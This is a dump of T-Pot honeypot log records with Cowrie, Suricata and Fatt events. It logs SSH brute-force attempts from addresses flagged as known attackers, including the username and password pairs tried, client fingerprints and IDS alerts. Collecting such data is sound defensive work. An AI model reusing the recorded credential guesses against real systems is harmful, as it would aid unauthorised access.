"192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......3M....;e8^.cJM.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28987	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:22:20.795233+03	2021-09-20 14:30:03.544525+03	{"_id": "kAbxAnwBvYTbRNuEUTJC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55250, "dest_port": 22, "timestamp": "2021-09-20T11:22:20.795233", "@timestamp": "2021-09-20T11:22:20.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28988	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:22:21.959707+03	2021-09-20 14:30:03.545525+03	{"_id": "kQbxAnwBvYTbRNuEUjI2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [sabrina/sabrina] failed", "session": "36f9bfce73d7", "@version": "1", "password": "sabrina", "username": "sabrina", "timestamp": "2021-09-20T11:22:21.959707Z", "@timestamp": "2021-09-20T11:22:21.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28989	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:22:23.234409+03	2021-09-20 14:30:03.546525+03	{"_id": "mAbxAnwBvYTbRNuEWjIH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "36f9bfce73d7", "@version": "1", "duration": 2.7049448490142822, "timestamp": "2021-09-20T11:22:23.234409Z", "@timestamp": "2021-09-20T11:22:23.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28990	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:22:30.744127+03	2021-09-20 14:30:03.547524+03	{"_id": "yQbxAnwBvYTbRNuEdTJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/258258258] failed", "session": "87e70149aef1", "@version": "1", "password": "258258258", "username": "root", "timestamp": "2021-09-20T11:22:30.744127Z", "@timestamp": "2021-09-20T11:22:30.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28991	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:22:32.016154+03	2021-09-20 14:30:03.549524+03	{"_id": "ygbxAnwBvYTbRNuEeTJL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/258852] failed", "session": "87e70149aef1", "@version": "1", "password": "258852", "username": "root", "timestamp": "2021-09-20T11:22:32.016154Z", "@timestamp": "2021-09-20T11:22:32.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28992	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:22:33.290399+03	2021-09-20 14:30:03.550524+03	{"_id": "zAbxAnwBvYTbRNuEgTIc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/259] failed", "session": "87e70149aef1", "@version": "1", "password": "259", "username": "root", "timestamp": "2021-09-20T11:22:33.290399Z", "@timestamp": "2021-09-20T11:22:33.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28993	172.217.17.196	109.199.241.180	Suricata	2021-09-20 14:22:33.721121+03	2021-09-20 14:30:03.551524+03	{"_id": "zQbxAnwBvYTbRNuEgjLY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:19.705127+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 206}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.17.196", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.17.196", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 1694100171244135, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52216, "timestamp": "2021-09-20T11:22:33.721121Z", "@timestamp": "2021-09-20T11:22:33.721Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28994	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:22:34.558052+03	2021-09-20 14:30:03.553523+03	{"_id": "0AbxAnwBvYTbRNuEhTIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "87e70149aef1", "@version": "1", "duration": 5.4978415966033936, "timestamp": "2021-09-20T11:22:34.558052Z", "@timestamp": "2021-09-20T11:22:34.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28995	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:22:34.746242+03	2021-09-20 14:30:03.554524+03	{"_id": "0QbxAnwBvYTbRNuEhTIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:54570 (192.168.176.2:22) [session: 29a73e26b508]", "session": "29a73e26b508", "@version": "1", "protocol": "ssh", "src_port": 54570, "dest_port": 22, "timestamp": "2021-09-20T11:22:34.746242Z", "@timestamp": "2021-09-20T11:22:34.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28996	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:22:35.030875+03	2021-09-20 14:30:03.555524+03	{"_id": "1gbxAnwBvYTbRNuEhTIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "29a73e26b508", "@version": "1", "timestamp": "2021-09-20T11:22:35.030875Z", "@timestamp": "2021-09-20T11:22:35.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28997	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:22:35.028991+03	2021-09-20 14:30:03.557523+03	{"_id": "2AbxAnwBvYTbRNuEhjLB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 479324507083861, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54570, "dest_port": 22, "timestamp": "2021-09-20T11:22:35.028991Z", "@timestamp": "2021-09-20T11:22:35.028Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30032	169.254.159.2	109.199.241.180	Suricata	2021-09-20 14:31:52.407738+03	2021-09-20 14:45:02.486143+03	{"_id": "3wb6AnwBvYTbRNuEBzmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "169.254.159.2", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:52.407738Z", "@timestamp": "2021-09-20T11:31:52.407Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28998	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:22:20.526804+03	2021-09-20 14:30:03.558524+03	{"_id": "igbxAnwBvYTbRNuETjJO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:55250 (192.168.176.2:22) [session: 36f9bfce73d7]", "session": "36f9bfce73d7", "@version": "1", "protocol": "ssh", "src_port": 55250, "dest_port": 22, "timestamp": "2021-09-20T11:22:20.526804Z", "@timestamp": "2021-09-20T11:22:20.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28999	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:22:27.781904+03	2021-09-20 14:30:03.559523+03	{"_id": "tAbxAnwBvYTbRNuEazJk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 40196, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 658695225863760, "@version": "1", "in_iface": "enp5s0", "src_port": 48755, "dest_port": 53, "timestamp": "2021-09-20T11:22:27.781904Z", "@timestamp": "2021-09-20T11:22:27.781Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29000	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:21:30.017695+03	2021-09-20 14:30:03.561523+03	{"_id": "4wbwAnwBvYTbRNuEiDG2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1168129882937123, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55572, "dest_port": 22, "timestamp": "2021-09-20T11:21:30.017695Z", "@timestamp": "2021-09-20T11:21:30.017Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29001	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:29.756501+03	2021-09-20 14:30:03.562523+03	{"_id": "5QbwAnwBvYTbRNuEiTHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55572, "timestamp": "2021-09-20T11:21:29.756501", "@timestamp": "2021-09-20T11:21:29.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29002	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:21:30.766976+03	2021-09-20 14:30:03.563524+03	{"_id": "6QbwAnwBvYTbRNuEijHp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:54868 (192.168.176.2:22) [session: ced9ca560260]", "session": "ced9ca560260", "@version": "1", "protocol": "ssh", "src_port": 54868, "dest_port": 22, "timestamp": "2021-09-20T11:21:30.766976Z", "@timestamp": "2021-09-20T11:21:30.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29031	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:21:35.267661+03	2021-09-20 14:30:03.605523+03	{"_id": "BgbwAnwBvYTbRNuEnjJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "92e88d15184c", "@version": "1", "duration": 5.51253342628479, "timestamp": "2021-09-20T11:21:35.267661Z", "@timestamp": "2021-09-20T11:21:35.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29003	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:21:30.018398+03	2021-09-20 14:30:03.566524+03	{"_id": "6AbwAnwBvYTbRNuEijHp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "92e88d15184c", "@version": "1", "timestamp": "2021-09-20T11:21:30.018398Z", "@timestamp": "2021-09-20T11:21:30.018Z", 